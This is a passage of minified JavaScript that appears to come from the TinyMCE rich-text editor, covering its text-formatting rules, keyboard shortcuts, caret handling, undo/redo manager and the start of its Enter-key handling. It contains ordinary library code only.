+}"border"==t&&n&&(s+="padding:0 2px;"),s+=t+":"+n+";"}}),e.fire("AfterPreviewFormats"),a.remove(o),s}var n=e.each;return{getCssText:t}}),r(O,[h,x,L,M,d,P],function(e,t,n,r,i,o){return function(a){function s(e){return e.nodeType&&(e=e.nodeName),!!a.schema.getTextBlockElements()[e.toLowerCase()]}function l(e,t){return U.getParents(e,t,U.getRoot())}function c(e){return 1===e.nodeType&&"_mce_caret"===e.id}function u(){p({valigntop:[{selector:"td,th",styles:{verticalAlign:"top"}}],valignmiddle:[{selector:"td,th",styles:{verticalAlign:"middle"}}],valignbottom:[{selector:"td,th",styles:{verticalAlign:"bottom"}}],alignleft:[{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"left"},defaultBlock:"div"},{selector:"img,table",collapsed:!1,styles:{"float":"left"}}],aligncenter:[{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"center"},defaultBlock:"div"},{selector:"img",collapsed:!1,styles:{display:"block",marginLeft:"auto",marginRight:"auto"}},{selector:"table",collapsed:!1,styles:{marginLeft:"auto",marginRight:"auto"}}],alignright:[{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"right"},defaultBlock:"div"},{selector:"img,table",collapsed:!1,styles:{"float":"right"}}],alignjustify:[{selector:"figure,p,h1,h2,h3,h4,h5,h6,td,th,tr,div,ul,ol,li",styles:{textAlign:"justify"},defaultBlock:"div"}],bold:[{inline:"strong",remove:"all"},{inline:"span",styles:{fontWeight:"bold"}},{inline:"b",remove:"all"}],italic:[{inline:"em",remove:"all"},{inline:"span",styles:{fontStyle:"italic"}},{inline:"i",remove:"all"}],underline:[{inline:"span",styles:{textDecoration:"underline"},exact:!0},{inline:"u",remove:"all"}],strikethrough:[{inline:"span",styles:{textDecoration:"line-through"},exact:!0},{inline:"strike",remove:"all"}],forecolor:{inline:"span",styles:{color:"%value"},links:!0,remove_similar:!0},hilitecolor:{inline:"span",styles:{backgroundColor:"%value"},links:!0,remove_similar:!0},fontname:{inline:"span",styles:{fontFamily:"%value"}},fontsize:{inline:"span",styles:{fontSize:"%value"}},fontsize_class:{inline:"span",attributes:{"class":"%value"}},blockquote:{block:"blockquote",wrapper:1,remove:"all"},subscript:{inline:"sub"},superscript:{inline:"sup"},code:{inline:"code"},link:{inline:"a",selector:"a",remove:"all",split:!0,deep:!0,onmatch:function(){return!0},onformat:function(e,t,n){at(n,function(t,n){U.setAttrib(e,n,t)})}},removeformat:[{selector:"b,strong,em,i,font,u,strike,sub,sup,dfn,code,samp,kbd,var,cite,mark,q",remove:"all",split:!0,expand:!1,block_expand:!0,deep:!0},{selector:"span",attributes:["style","class"],remove:"empty",split:!0,expand:!1,deep:!0},{selector:"*",attributes:["style","class"],split:!1,expand:!1,deep:!0}]}),at("p h1 h2 h3 h4 h5 h6 div address pre div dt dd samp".split(/\s/),function(e){p(e,{block:e,remove:"all"})}),p(a.settings.formats)}function d(){a.addShortcut("ctrl+b","bold_desc","Bold"),a.addShortcut("ctrl+i","italic_desc","Italic"),a.addShortcut("ctrl+u","underline_desc","Underline");for(var e=1;6>=e;e++)a.addShortcut("ctrl+"+e,"",["FormatBlock",!1,"h"+e]);a.addShortcut("ctrl+7","",["FormatBlock",!1,"p"]),a.addShortcut("ctrl+8","",["FormatBlock",!1,"div"]),a.addShortcut("ctrl+9","",["FormatBlock",!1,"address"])}function f(e){return e?V[e]:V}function p(e,t){e&&("string"!=typeof e?at(e,function(e,t){p(t,e)}):(t=t.length?t:[t],at(t,function(e){e.deep===tt&&(e.deep=!e.selector),e.split===tt&&(e.split=!e.selector||e.inline),e.remove===tt&&e.selector&&!e.inline&&(e.remove="none"),e.selector&&e.inline&&(e.mixed=!0,e.block_expand=!0),"string"==typeof e.classes&&(e.classes=e.classes.split(/\s+/))}),V[e]=t))}function h(e){return e&&V[e]&&delete V[e],V}function m(e){var t;return a.dom.getParent(e,function(e){return t=a.dom.getStyle(e,"text-decoration"),t&&"none"!==t}),t}function g(e){var t;1===e.nodeType&&e.parentNode&&1===e.parentNode.nodeType&&(t=m(e.parentNode),a.dom.getStyle(e,"color")&&t?a.dom.setStyle(e,"text-decoration",t):a.dom.getStyle(e,"textdecoration")===t&&a.dom.setStyle(e,"text-decoration",null))}function v(t,n,r){function i(e,t){if(t=t||d,e){if(t.onformat&&t.onformat(e,t,n,r),at(t.styles,function(t,r){U.setStyle(e,r,A(t,n))}),t.styles){var i=U.getAttrib(e,"style");i&&e.setAttribute("data-mce-style",i)}at(t.attributes,function(t,r){U.setAttrib(e,r,A(t,n))}),at(t.classes,function(t){t=A(t,n),U.hasClass(e,t)||U.addClass(e,t)})}}function o(){function t(t,n){var i=new e(n);for(r=i.current();r;r=i.prev())if(r.childNodes.length>1||r==t||"BR"==r.tagName)return r}var n=a.selection.getRng(),i=n.startContainer,o=n.endContainer;if(i!=o&&0===n.endOffset){var s=t(i,o),l=3==s.nodeType?s.length:s.childNodes.length;n.setEnd(s,l)}return n}function l(e,r,o){var a=[],l,f,p=!0;l=d.inline||d.block,f=U.create(l),i(f),q.walk(e,function(e){function r(e){var g,v,y,b,x;return x=p,g=e.nodeName.toLowerCase(),v=e.parentNode.nodeName.toLowerCase(),1===e.nodeType&&nt(e)&&(x=p,p="true"===nt(e),b=!0),S(g,"br")?(h=0,void(d.block&&U.remove(e))):d.wrapper&&C(e,t,n)?void(h=0):p&&!b&&d.block&&!d.wrapper&&s(g)&&j(v,l)?(e=U.rename(e,l),i(e),a.push(e),void(h=0)):d.selector&&(at(u,function(t){"collapsed"in t&&t.collapsed!==m||U.is(e,t.selector)&&!c(e)&&(i(e,t),y=!0)}),!d.inline||y)?void(h=0):void(!p||b||!j(l,g)||!j(v,l)||!o&&3===e.nodeType&&1===e.nodeValue.length&&65279===e.nodeValue.charCodeAt(0)||c(e)||d.inline&&Y(e)?(h=0,at(st(e.childNodes),r),b&&(p=x),h=0):(h||(h=U.clone(f,Q),e.parentNode.insertBefore(h,e),a.push(h)),h.appendChild(e)))}var h;at(e,r)}),d.links===!0&&at(a,function(e){function t(e){"A"===e.nodeName&&i(e,d),at(st(e.childNodes),t)}t(e)}),at(a,function(e){function r(e){var t=0;return at(e.childNodes,function(e){B(e)||ot(e)||t++}),t}function o(e){var t,n;return at(e.childNodes,function(e){return 1!=e.nodeType||ot(e)||c(e)?void 0:(t=e,Q)}),t&&!ot(t)&&k(t,d)&&(n=U.clone(t,Q),i(n),U.replace(n,e,Z),U.remove(t,1)),n||e}var s;if(s=r(e),(a.length>1||!Y(e))&&0===s)return void U.remove(e,1);if(d.inline||d.wrapper){if(d.exact||1!==s||(e=o(e)),at(u,function(t){at(U.select(t.inline,e),function(e){ot(e)||M(t,n,e,t.exact?e:null)})}),C(e.parentNode,t,n))return U.remove(e,1),e=0,Z;d.merge_with_parents&&U.getParent(e.parentNode,function(r){return C(r,t,n)?(U.remove(e,1),e=0,Z):void 0}),e&&d.merge_siblings!==!1&&(e=I(O(e),e),e=I(e,O(e,Z)))}})}var u=f(t),d=u[0],p,h,m=!r&&$.isCollapsed();if(d)if(r)r.nodeType?(h=U.createRng(),h.setStartBefore(r),h.setEndAfter(r),l(L(h,u),null,!0)):l(r,null,!0);else if(m&&d.inline&&!U.select("td.mce-item-selected,th.mce-item-selected").length)z("apply",t,n);else{var y=a.selection.getNode();K||!u[0].defaultBlock||U.getParent(y,U.isBlock)||v(u[0].defaultBlock),a.selection.setRng(o()),p=$.getBookmark(),l(L($.getRng(Z),u),p),d.styles&&(d.styles.color||d.styles.textDecoration)&&(lt(y,g,"childNodes"),g(y)),$.moveToBookmark(p),W($.getRng(Z)),a.nodeChanged()}}function y(e,t,n,r){function i(e){var n,r,o,a,s;if(1===e.nodeType&&nt(e)&&(a=y,y="true"===nt(e),s=!0),n=st(e.childNodes),y&&!s)for(r=0,o=p.length;o>r&&!M(p[r],t,e,e);r++);if(h.deep&&n.length){for(r=0,o=n.length;o>r;r++)i(n[r]);s&&(y=a)}}function o(n){var i;return at(l(n.parentNode).reverse(),function(n){var o;i||"_start"==n.id||"_end"==n.id||(o=C(n,e,t,r),o&&o.split!==!1&&(i=n))}),i}function s(e,n,r,i){var o,a,s,l,c,u;if(e){for(u=e.parentNode,o=n.parentNode;o&&o!=u;o=o.parentNode){for(a=U.clone(o,Q),c=0;c<p.length;c++)if(M(p[c],t,a,a)){a=0;break}a&&(s&&a.appendChild(s),l||(l=a),s=a)}!i||h.mixed&&Y(e)||(n=U.split(e,n)),s&&(r.parentNode.insertBefore(s,r),l.appendChild(r))}return n}function c(e){return s(o(e),e,e,!0)}function u(e){var t=U.get(e?"_start":"_end"),n=t[e?"firstChild":"lastChild"];return ot(n)&&(n=n[e?"firstChild":"lastChild"]),U.remove(t,!0),n}function d(e){var t,n,r=e.commonAncestorContainer;e=L(e,p,Z),h.split&&(t=F(e,Z),n=F(e),t!=n?(/^(TR|TH|TD)$/.test(t.nodeName)&&t.firstChild&&(t="TR"==t.nodeName?t.firstChild.firstChild||t:t.firstChild||t),r&&/^T(HEAD|BODY|FOOT|R)$/.test(r.nodeName)&&/^(TH|TD)$/.test(n.nodeName)&&n.firstChild&&(n=n.firstChild||n),t=D(t,"span",{id:"_start","data-mce-type":"bookmark"}),n=D(n,"span",{id:"_end","data-mce-type":"bookmark"}),c(t),c(n),t=u(Z),n=u()):t=n=c(t),e.startContainer=t.parentNode,e.startOffset=G(t),e.endContainer=n.parentNode,e.endOffset=G(n)+1),q.walk(e,function(e){at(e,function(e){i(e),1===e.nodeType&&"underline"===a.dom.getStyle(e,"text-decoration")&&e.parentNode&&"underline"===m(e.parentNode)&&M({deep:!1,exact:!0,inline:"span",styles:{textDecoration:"underline"}},null,e)})})}var p=f(e),h=p[0],g,v,y=!0;return n?void(n.nodeType?(v=U.createRng(),v.setStartBefore(n),v.setEndAfter(n),d(v)):d(n)):void($.isCollapsed()&&h.inline&&!U.select("td.mce-item-selected,th.mce-item-selected").length?z("remove",e,t,r):(g=$.getBookmark(),d($.getRng(Z)),$.moveToBookmark(g),h.inline&&x(e,t,$.getStart())&&W($.getRng(!0)),a.nodeChanged()))}function b(e,t,n){var r=f(e);!x(e,t,n)||"toggle"in r[0]&&!r[0].toggle?v(e,t,n):y(e,t,n)}function C(e,t,n,r){function i(e,t,i){var o,a,s=t[i],l;if(t.onmatch)return t.onmatch(e,t,i);if(s)if(s.length===tt){for(o in s)if(s.hasOwnProperty(o)){if(a="attributes"===i?U.getAttrib(e,o):T(e,o),r&&!a&&!t.exact)return;if((!r||t.exact)&&!S(a,R(A(s[o],n),o)))return}}else for(l=0;l<s.length;l++)if("attributes"===i?U.getAttrib(e,s[l]):T(e,s[l]))return t;return t}var o=f(t),a,s,l;if(o&&e)for(s=0;s<o.length;s++)if(a=o[s],k(e,a)&&i(e,a,"attributes")&&i(e,a,"styles")){if(l=a.classes)for(s=0;s<l.length;s++)if(!U.hasClass(e,l[s]))return;return a}}function x(e,t,n){function r(n){var r=U.getRoot();return n===r?!1:(n=U.getParent(n,function(n){return n.parentNode===r||!!C(n,e,t,!0)}),C(n,e,t))}var i;return n?r(n):(n=$.getNode(),r(n)?Z:(i=$.getStart(),i!=n&&r(i)?Z:Q))}function w(e,t){var n,r=[],i={};return n=$.getStart(),U.getParent(n,function(n){var o,a;for(o=0;o<e.length;o++)a=e[o],!i[a]&&C(n,a,t)&&(i[a]=!0,r.push(a))},U.getRoot()),r}function _(e){var t=f(e),n,r,i,o,a;if(t)for(n=$.getStart(),r=l(n),o=t.length-1;o>=0;o--){if(a=t[o].selector,!a||t[o].defaultBlock)return Z;for(i=r.length-1;i>=0;i--)if(U.is(r[i],a))return Z}return Q}function E(e,t,n){var r;return et||(et={},r={},a.on("NodeChange",function(e){var t=l(e.element),n={};t=i.grep(t,function(e){return 1==e.nodeType&&!e.getAttribute("data-mce-bogus")}),at(et,function(e,i){at(t,function(o){return C(o,i,{},e.similar)?(r[i]||(at(e,function(e){e(!0,{node:o,format:i,parents:t})}),r[i]=e),n[i]=e,!1):void 0})}),at(r,function(i,o){n[o]||(delete r[o],at(i,function(n){n(!1,{node:e.element,format:o,parents:t})}))})})),at(e.split(","),function(e){et[e]||(et[e]=[],et[e].similar=n),et[e].push(t)}),this}function N(e){return o.getCssText(a,e)}function k(e,t){return S(e,t.inline)?Z:S(e,t.block)?Z:t.selector?1==e.nodeType&&U.is(e,t.selector):void 0}function S(e,t){return e=e||"",t=t||"",e=""+(e.nodeName||e),t=""+(t.nodeName||t),e.toLowerCase()==t.toLowerCase()}function T(e,t){return R(U.getStyle(e,t),t)}function R(e,t){return("color"==t||"backgroundColor"==t)&&(e=U.toHex(e)),"fontWeight"==t&&700==e&&(e="bold"),"fontFamily"==t&&(e=e.replace(/[\'\"]/g,"").replace(/,\s+/g,",")),""+e}function A(e,t){return"string"!=typeof e?e=e(t):t&&(e=e.replace(/%(\w+)/g,function(e,n){return t[n]||e})),e}function B(e){return e&&3===e.nodeType&&/^([\t \r\n]+|)$/.test(e.nodeValue)}function D(e,t,n){var r=U.create(t,n);return e.parentNode.insertBefore(r,e),r.appendChild(e),r}function L(t,n,r){function i(e){function t(e){return"BR"==e.nodeName&&e.getAttribute("data-mce-bogus")&&!e.nextSibling}var r,i,o,a,s;if(r=i=e?g:y,a=e?"previousSibling":"nextSibling",s=U.getRoot(),3==r.nodeType&&!B(r)&&(e?v>0:b<r.nodeValue.length))return r;for(;;){if(!n[0].block_expand&&Y(i))return i;for(o=i[a];o;o=o[a])if(!ot(o)&&!B(o)&&!t(o))return i;if(i.parentNode==s){r=i;break}i=i.parentNode}return r}function o(e,t){for(t===tt&&(t=3===e.nodeType?e.length:e.childNodes.length);e&&e.hasChildNodes();)e=e.childNodes[t],e&&(t=3===e.nodeType?e.length:e.childNodes.length);return{node:e,offset:t}}function c(e){for(var t=e;t;){if(1===t.nodeType&&nt(t))return"false"===nt(t)?t:e;t=t.parentNode}return e}function u(t,n,i){function o(e,t){var n,o,a=e.nodeValue;return"undefined"==typeof t&&(t=i?a.length:0),i?(n=a.lastIndexOf(" ",t),o=a.lastIndexOf("\xa0",t),n=n>o?n:o,-1===n||r||n++):(n=a.indexOf(" ",t),o=a.indexOf("\xa0",t),n=-1!==n&&(-1===o||o>n)?n:o),n}var s,l,c,u;if(3===t.nodeType){if(c=o(t,n),-1!==c)return{container:t,offset:c};u=t}for(s=new e(t,U.getParent(t,Y)||a.getBody());l=s[i?"prev":"next"]();)if(3===l.nodeType){if(u=l,c=o(l),-1!==c)return{container:l,offset:c}}else if(Y(l))break;return u?(n=i?0:u.length,{container:u,offset:n}):void 0}function d(e,r){var i,o,a,s;for(3==e.nodeType&&0===e.nodeValue.length&&e[r]&&(e=e[r]),i=l(e),o=0;o<i.length;o++)for(a=0;a<n.length;a++)if(s=n[a],!("collapsed"in s&&s.collapsed!==t.collapsed)&&U.is(i[o],s.selector))return i[o];return e}function f(e,t){var r,i=U.getRoot();if(n[0].wrapper||(r=U.getParent(e,n[0].block,i)),r||(r=U.getParent(3==e.nodeType?e.parentNode:e,function(e){return e!=i&&s(e)})),r&&n[0].wrapper&&(r=l(r,"ul,ol").reverse()[0]||r),!r)for(r=e;r[t]&&!Y(r[t])&&(r=r[t],!S(r,"br")););return r||e}var p,h,m,g=t.startContainer,v=t.startOffset,y=t.endContainer,b=t.endOffset;if(1==g.nodeType&&g.hasChildNodes()&&(p=g.childNodes.length-1,g=g.childNodes[v>p?p:v],3==g.nodeType&&(v=0)),1==y.nodeType&&y.hasChildNodes()&&(p=y.childNodes.length-1,y=y.childNodes[b>p?p:b-1],3==y.nodeType&&(b=y.nodeValue.length)),g=c(g),y=c(y),(ot(g.parentNode)||ot(g))&&(g=ot(g)?g:g.parentNode,g=g.nextSibling||g,3==g.nodeType&&(v=0)),(ot(y.parentNode)||ot(y))&&(y=ot(y)?y:y.parentNode,y=y.previousSibling||y,3==y.nodeType&&(b=y.length)),n[0].inline&&(t.collapsed&&(m=u(g,v,!0),m&&(g=m.container,v=m.offset),m=u(y,b),m&&(y=m.container,b=m.offset)),h=o(y,b),h.node)){for(;h.node&&0===h.offset&&h.node.previousSibling;)h=o(h.node.previousSibling);h.node&&h.offset>0&&3===h.node.nodeType&&" "===h.node.nodeValue.charAt(h.offset-1)&&h.offset>1&&(y=h.node,y.splitText(h.offset-1))}return(n[0].inline||n[0].block_expand)&&(n[0].inline&&3==g.nodeType&&0!==v||(g=i(!0)),n[0].inline&&3==y.nodeType&&b!==y.nodeValue.length||(y=i())),n[0].selector&&n[0].expand!==Q&&!n[0].inline&&(g=d(g,"previousSibling"),y=d(y,"nextSibling")),(n[0].block||n[0].selector)&&(g=f(g,"previousSibling"),y=f(y,"nextSibling"),n[0].block&&(Y(g)||(g=i(!0)),Y(y)||(y=i()))),1==g.nodeType&&(v=G(g),g=g.parentNode),1==y.nodeType&&(b=G(y)+1,y=y.parentNode),{startContainer:g,startOffset:v,endContainer:y,endOffset:b}}function H(e,t){return t.links&&"A"==e.tagName}function M(e,t,n,r){var i,o,a;if(!k(n,e)&&!H(n,e))return Q;if("all"!=e.remove)for(at(e.styles,function(i,o){i=R(A(i,t),o),"number"==typeof o&&(o=i,r=0),(e.remove_similar||!r||S(T(r,o),i))&&U.setStyle(n,o,""),a=1}),a&&""===U.getAttrib(n,"style")&&(n.removeAttribute("style"),n.removeAttribute("data-mce-style")),at(e.attributes,function(e,i){var o;if(e=A(e,t),"number"==typeof i&&(i=e,r=0),!r||S(U.getAttrib(r,i),e)){if("class"==i&&(e=U.getAttrib(n,i),e&&(o="",at(e.split(/\s+/),function(e){/mce\w+/.test(e)&&(o+=(o?" ":"")+e)}),o)))return void U.setAttrib(n,i,o);"class"==i&&n.removeAttribute("className"),J.test(i)&&n.removeAttribute("data-mce-"+i),n.removeAttribute(i)}}),at(e.classes,function(e){e=A(e,t),(!r||U.hasClass(r,e))&&U.removeClass(n,e)}),o=U.getAttribs(n),i=0;i<o.length;i++)if(0!==o[i].nodeName.indexOf("_"))return Q;return"none"!=e.remove?(P(n,e),Z):void 0}function P(e,t){function n(e,t,n){return e=O(e,t,n),!e||"BR"==e.nodeName||Y(e)}var r=e.parentNode,i;t.block&&(K?r==U.getRoot()&&(t.list_block&&S(e,t.list_block)||at(st(e.childNodes),function(e){j(K,e.nodeName.toLowerCase())?i?i.appendChild(e):(i=D(e,K),U.setAttribs(i,a.settings.forced_root_block_attrs)):i=0})):Y(e)&&!Y(r)&&(n(e,Q)||n(e.firstChild,Z,1)||e.insertBefore(U.create("br"),e.firstChild),n(e,Z)||n(e.lastChild,Q,1)||e.appendChild(U.create("br")))),t.selector&&t.inline&&!S(t.inline,e)||U.remove(e,1)}function O(e,t,n){if(e)for(t=t?"nextSibling":"previousSibling",e=n?e:e[t];e;e=e[t])if(1==e.nodeType||!B(e))return e}function I(e,t){function n(e,t){for(i=e;i;i=i[t]){if(3==i.nodeType&&0!==i.nodeValue.length)return e;if(1==i.nodeType&&!ot(i))return i}return e}var i,o,a=new r(U);if(e&&t&&(e=n(e,"previousSibling"),t=n(t,"nextSibling"),a.compare(e,t))){for(i=e.nextSibling;i&&i!=t;)o=i,i=i.nextSibling,e.appendChild(o);return U.remove(t),at(st(t.childNodes),function(t){e.appendChild(t)}),e}return t}function F(t,n){var r,i,o;return r=t[n?"startContainer":"endContainer"],i=t[n?"startOffset":"endOffset"],1==r.nodeType&&(o=r.childNodes.length-1,!n&&i&&i--,r=r.childNodes[i>o?o:i]),3===r.nodeType&&n&&i>=r.nodeValue.length&&(r=new e(r,a.getBody()).next()||r),3!==r.nodeType||n||0!==i||(r=new e(r,a.getBody()).prev()||r),r}function z(t,n,r,i){function o(e){var t=U.create("span",{id:g,"data-mce-bogus":!0,style:b?"color:red":""});return e&&t.appendChild(a.getDoc().createTextNode(X)),t}function l(e,t){for(;e;){if(3===e.nodeType&&e.nodeValue!==X||e.childNodes.length>1)return!1;t&&1===e.nodeType&&t.push(e),e=e.firstChild}return!0}function c(e){for(;e;){if(e.id===g)return e;e=e.parentNode}}function u(t){var n;if(t)for(n=new e(t,t),t=n.current();t;t=n.next())if(3===t.nodeType)return t}function d(e,t){var n,r;if(e)r=$.getRng(!0),l(e)?(t!==!1&&(r.setStartBefore(e),r.setEndBefore(e)),U.remove(e)):(n=u(e),n.nodeValue.charAt(0)===X&&(n.deleteData(0,1),r.startContainer==n&&r.startOffset>0&&r.setStart(n,r.startOffset-1),r.endContainer==n&&r.endOffset>0&&r.setEnd(n,r.endOffset-1)),U.remove(e,1)),$.setRng(r);else if(e=c($.getStart()),!e)for(;e=U.get(g);)d(e,!1)}function p(){var e,t,i,a,s,l,d;e=$.getRng(!0),a=e.startOffset,l=e.startContainer,d=l.nodeValue,t=c($.getStart()),t&&(i=u(t)),d&&a>0&&a<d.length&&/\w/.test(d.charAt(a))&&/\w/.test(d.charAt(a-1))?(s=$.getBookmark(),e.collapse(!0),e=L(e,f(n)),e=q.split(e),v(n,r,e),$.moveToBookmark(s)):(t&&i.nodeValue===X?v(n,r,t):(t=o(!0),i=t.firstChild,e.insertNode(t),a=1,v(n,r,t)),$.setCursorLocation(i,a))}function h(){var e=$.getRng(!0),t,a,l,c,u,d,p=[],h,m;for(t=e.startContainer,a=e.startOffset,u=t,3==t.nodeType&&(a!=t.nodeValue.length&&(c=!0),u=u.parentNode);u;){if(C(u,n,r,i)){d=u;break}u.nextSibling&&(c=!0),p.push(u),u=u.parentNode}if(d)if(c)l=$.getBookmark(),e.collapse(!0),e=L(e,f(n),!0),e=q.split(e),y(n,r,e),$.moveToBookmark(l);else{for(m=o(),u=m,h=p.length-1;h>=0;h--)u.appendChild(U.clone(p[h],!1)),u=u.firstChild;u.appendChild(U.doc.createTextNode(X)),u=u.firstChild;var g=U.getParent(d,s);g&&U.isEmpty(g)?d.parentNode.replaceChild(m,d):U.insertAfter(m,d),$.setCursorLocation(u,1),U.isEmpty(d)&&U.remove(d)}}function m(){var e;e=c($.getStart()),e&&!U.isEmpty(e)&&lt(e,function(e){1!=e.nodeType||e.id===g||U.isEmpty(e)||U.setAttrib(e,"data-mce-bogus",null)},"childNodes")}var g="_mce_caret",b=a.settings.caret_debug;a._hasCaretEvents||(it=function(){var e=[],t;if(l(c($.getStart()),e))for(t=e.length;t--;)U.setAttrib(e[t],"data-mce-bogus","1")},rt=function(e){var t=e.keyCode;d(),(8==t||37==t||39==t)&&d(c($.getStart())),m()},a.on("SetContent",function(e){e.selection&&m()}),a._hasCaretEvents=!0),"apply"==t?p():h()}function W(t){var n=t.startContainer,r=t.startOffset,i,o,a,s,l;if(3==n.nodeType&&r>=n.nodeValue.length&&(r=G(n),n=n.parentNode,i=!0),1==n.nodeType)for(s=n.childNodes,n=s[Math.min(r,s.length-1)],o=new e(n,U.getParent(n,U.isBlock)),(r>s.length-1||i)&&o.next(),a=o.current();a;a=o.next())if(3==a.nodeType&&!B(a))return l=U.create("a",{"data-mce-bogus":"all"},X),a.parentNode.insertBefore(l,a),t.setStart(a,0),$.setRng(t),void U.remove(l)}var V={},U=a.dom,$=a.selection,q=new t(U),j=a.schema.isValidChild,Y=U.isBlock,K=a.settings.forced_root_block,G=U.nodeIndex,X="\ufeff",J=/^(src|href|style)$/,Q=!1,Z=!0,et,tt,nt=U.getContentEditable,rt,it,ot=n.isBookmarkNode,at=i.each,st=i.grep,lt=i.walk,ct=i.extend;ct(this,{get:f,register:p,unregister:h,apply:v,remove:y,toggle:b,match:x,matchAll:w,matchNode:C,canApply:_,formatChanged:E,getCssText:N}),u(),d(),a.on("BeforeGetContent",function(e){it&&"raw"!=e.format&&it()}),a.on("mouseup keydown",function(e){rt&&rt(e)})}}),r(I,[B,u,d,N],function(e,t,n,r){var i=n.trim,o;return o=new RegExp(["<span[^>]+data-mce-bogus[^>]+>[\u200b\ufeff]+<\\/span>",'\\s?data-mce-selected="[^"]+"'].join("|"),"gi"),function(n){function a(){var e=n.getContent({format:"raw",no_events:1}),t=/<(\w+) [^>]*data-mce-bogus="all"[^>]*>/g,a,s,l,c,u,d=n.schema;for(e=e.replace(o,""),u=d.getShortEndedElements();c=t.exec(e);)s=t.lastIndex,l=c[0].length,a=u[c[1]]?s:r.findEndTag(d,e,s),e=e.substring(0,s-l)+e.substring(a),t.lastIndex=s-l;return i(e)}function s(e){l.typing=!1,l.add({},e)}var l=this,c=0,u=[],d,f,p=0;return n.on("init",function(){l.add()}),n.on("BeforeExecCommand",function(e){var t=e.command;"Undo"!=t&&"Redo"!=t&&"mceRepaint"!=t&&l.beforeChange()}),n.on("ExecCommand",function(e){var t=e.command;"Undo"!=t&&"Redo"!=t&&"mceRepaint"!=t&&s(e)}),n.on("ObjectResizeStart",function(){l.beforeChange()}),n.on("SaveContent ObjectResized blur",s),n.on("DragEnd",s),n.on("KeyUp",function(e){var r=e.keyCode;(r>=33&&36>=r||r>=37&&40>=r||45==r||13==r||e.ctrlKey)&&(s(),n.nodeChanged()),(46==r||8==r||t.mac&&(91==r||93==r))&&n.nodeChanged(),f&&l.typing&&(n.isDirty()||(n.isNotDirty=!u[0]||a()==u[0].content,n.isNotDirty||n.fire("change",{level:u[0],lastLevel:null})),n.fire("TypingUndo"),f=!1,n.nodeChanged())}),n.on("KeyDown",function(t){var n=t.keyCode;if(n>=33&&36>=n||n>=37&&40>=n||45==n)return void(l.typing&&s(t));var r=e.modifierPressed(t);!(16>n||n>20)||224==n||91==n||l.typing||r||(l.beforeChange(),l.typing=!0,l.add({},t),f=!0)}),n.on("MouseDown",function(e){l.typing&&s(e)}),n.addShortcut("ctrl+z","","Undo"),n.addShortcut("ctrl+y,ctrl+shift+z","","Redo"),n.on("AddUndo Undo Redo ClearUndos",function(e){e.isDefaultPrevented()||n.nodeChanged()}),l={data:u,typing:!1,beforeChange:function(){p||(d=n.selection.getBookmark(2,!0))},add:function(e,t){var r,i=n.settings,o;if(e=e||{},e.content=a(),p||n.removed)return null;if(o=u[c],n.fire("BeforeAddUndo",{level:e,lastLevel:o,originalEvent:t}).isDefaultPrevented())return null;if(o&&o.content==e.content)return null;if(u[c]&&(u[c].beforeBookmark=d),i.custom_undo_redo_levels&&u.length>i.custom_undo_redo_levels){for(r=0;r<u.length-1;r++)u[r]=u[r+1];u.length--,c=u.length}e.bookmark=n.selection.getBookmark(2,!0),c<u.length-1&&(u.length=c+1),u.push(e),c=u.length-1;var s={level:e,lastLevel:o,originalEvent:t};return n.fire("AddUndo",s),c>0&&(n.isNotDirty=!1,n.fire("change",s)),e},undo:function(){var e;return l.typing&&(l.add(),l.typing=!1),c>0&&(e=u[--c],0===c&&(n.isNotDirty=!0),n.setContent(e.content,{format:"raw"}),n.selection.moveToBookmark(e.beforeBookmark),n.fire("undo",{level:e})),e},redo:function(){var e;return c<u.length-1&&(e=u[++c],n.setContent(e.content,{format:"raw"}),n.selection.moveToBookmark(e.bookmark),n.fire("redo",{level:e})),e},clear:function(){u=[],c=0,l.typing=!1,n.fire("ClearUndos")},hasUndo:function(){return c>0||l.typing&&u[0]&&a()!=u[0].content},hasRedo:function(){return c<u.length-1&&!this.typing},transact:function(e){l.beforeChange();try{p++,e()}finally{p--}l.add()}}}}),r(F,[h,x,u],function(e,t,n){var r=n.ie&&n.ie<11;return function(i){function o(o){function f(e){return e&&a.isBlock(e)&&!/^(TD|TH|CAPTION|FORM)$/.test(e.nodeName)&&!/^(fixed|absolute)/i.test(e.style.position)&&"true"!==a.getContentEditable(e)}function p(e){var t;a.isBlock(e)&&(t=s.getRng(),e.appendChild(a.create("span",null,"\xa0")),s.select(e),e.lastChild.outerHTML="",s.setRng(t))}function h(e){var t=e,n=[],r;if(t){for(;t=t.firstChild;){if(a.isBlock(t))return;1!=t.nodeType||d[t.nodeName.toLowerCase()]||n.push(t)}for(r=n.length;r--;)t=n[r],!t.hasChildNodes()||t.firstChild==t.lastChild&&""===t.firstChild.nodeValue?a.remove(t):"A"==t.nodeName&&" "===(t.innerText||t.textContent)&&a.remove(t)}}function m(t){function r(e){for(;e;){if(1==e.nodeType||3==e.nodeType&&e.data&&/[\r\n\s]/.test(e.data))return e;e=e.nextSibling}}var i,o,l,c=t,u;if(t){if(n.ie&&n.ie<9&&A&&A.firstChild&&A.firstChild==A.lastChild&&"BR"==A.firstChild.tagName&&a.remove(A.firstChild),/^(LI|DT|DD)$/.test(t.nodeName)){var f=r(t.firstChild);f&&/^(UL|OL|DL)$/.test(f.nodeName)&&t.insertBefore(a.doc.createTextNode("\xa0"),t.firstChild)}if(l=a.createRng(),n.ie||t.normalize(),t.hasChildNodes()){for(i=new e(t,t);o=i.current();){if(3==o.nodeType){l.setStart(o,0),l.setEnd(o,0);break}if(d[o.nodeName.toLowerCase()]){l.setStartBefore(o),l.setEndBefore(o);break}c=o,o=i.next()}o||(l.setStart(c,0),l.setEnd(c,0))}else"BR"==t.nodeName?t.nextSibling&&a.isBlock(t.nextSibling)?((!B||9>B)&&(u=a.create("br"),t.parentNode.insertBefore(u,t)),l.setStartBefore(t),l.setEndBefore(t)):(l.setStartAfter(t),l.setEndAfter(t)):(l.setStart(t,0),l.setEnd(t,0));s.setRng(l),a.remove(u),s.scrollIntoView(t)}}function g(e){var t=l.forced_root_block;t&&t.toLowerCase()===e.tagName.toLowerCase()&&a.setAttribs(e,l.forced_root_block_attrs)}function v(e){var t=T,n,i,o,s=u.getTextInlineElements();if(e||"TABLE"==P?(n=a.create(e||I),g(n)):n=A.cloneNode(!1),o=n,l.keep_styles!==!1)do 